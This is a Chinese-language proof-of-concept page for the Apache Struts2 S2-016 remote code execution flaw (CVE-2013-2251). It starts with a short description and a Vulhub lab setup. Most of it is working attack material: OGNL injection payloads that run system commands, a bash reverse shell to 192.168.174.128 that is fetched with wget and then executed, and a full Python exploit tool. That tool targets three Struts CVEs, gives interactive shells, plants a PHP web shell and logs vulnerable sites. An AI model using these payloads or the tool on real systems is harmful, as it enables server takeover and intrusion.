Awesome-POC/中间件漏洞/Apache Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251.md
2024-12-18 10:47:51 +08:00

303 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache Struts2 S2-016 远程代码执行漏洞 CVE-2013-2251
## 漏洞描述
在 struts2 中DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
漏洞详情:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## 漏洞影响
影响版本: 2.0.0 - 2.3.15
## 环境搭建
Vulhub 执行以下命令启动 s2-016 测试环境:
```
docker-compose build
docker-compose up -d
```
## 漏洞复现
在 struts2 中DefaultActionMapper 类支持以 "action:"、"redirect:"、"redirectAction:" 作为导航或是重定向前缀,但是这些前缀后面同时可以跟 OGNL 表达式,由于 struts2 没有对这些前缀做过滤,导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令。
所以,访问 `http://your-ip:8080/index.action?redirect:OGNL表达式` 即可执行 OGNL 表达式。
执行 `uname -a` 命令:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
![image-20220301190642149](images/202203011906244.png)
获取 web 目录:
```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
![image-20220301190903380](images/202203011909463.png)
### 反弹 shell
编写 shell 脚本并启动 http 服务器:
```
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
python3环境下python -m http.server 80
```
上传 shell.sh 文件的命令为:
```
wget 192.168.174.128/shell.sh
```
上传 shell.sh 文件的 Payload 为:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("wget 192.168.174.128/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
执行 shell.sh 文件的命令为:
```
bash /usr/local/tomcat/shell.sh
```
执行 shell.sh 文件的 Payload 为:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("bash /usr/local/tomcat/shell.sh").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
成功接收反弹 shell
![image-20220301191527452](images/202203011915539.png)
## 漏洞 EXP
```python
#!/usr/bin/python
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time
import sys
import os
import subprocess
import requests
import readline
import urllib.parse
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
def cls():
os.system(['clear', 'cls'][os.name == 'nt'])
cls()
logo = BLUE+'''
___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]=
By @s1kr10s
'''+ENDC
print(logo)
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit2
def exploit3(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploit3
def pwnd(shellfile):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploitfile
def validador():
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepl(ip,port):
# print "perl"
#def reversepy(ip,port):
# print "python"
# CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
if response.read().find("mamalo") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
#print BOLD+" * [SHELL REVERSA]"+ENDC
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
espacio = separador.split(' ')
comando = "','".join(espacio)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
print("\n"+shell.read())
elif espacio[0] == 'pwnd':
pathsave=input("path EJ:/tmp/: ")
if espacio[1] == 'php':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
# CVE-2017-5638 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
try:
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
result = urllib.request.urlopen(req).read()
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
while 1:
try:
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
result = urllib.request.urlopen(req).read()
print("\n"+result)
except:
exit(0)
else:
x = len(validador())
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
# CVE-2018-11776 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
x = 0
while x < len(validador()):
#Filtramos la url solo dominio
url = host.replace('#', '%23')
url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
#Filtramos la url solo path
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
valida = validador()[x]
try:
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
espacio = separador.split(' ')
comando = "%20".join(espacio)
shell = urllib.request.urlopen(host+exploit3(str(comando)))
print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else:
print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0)
```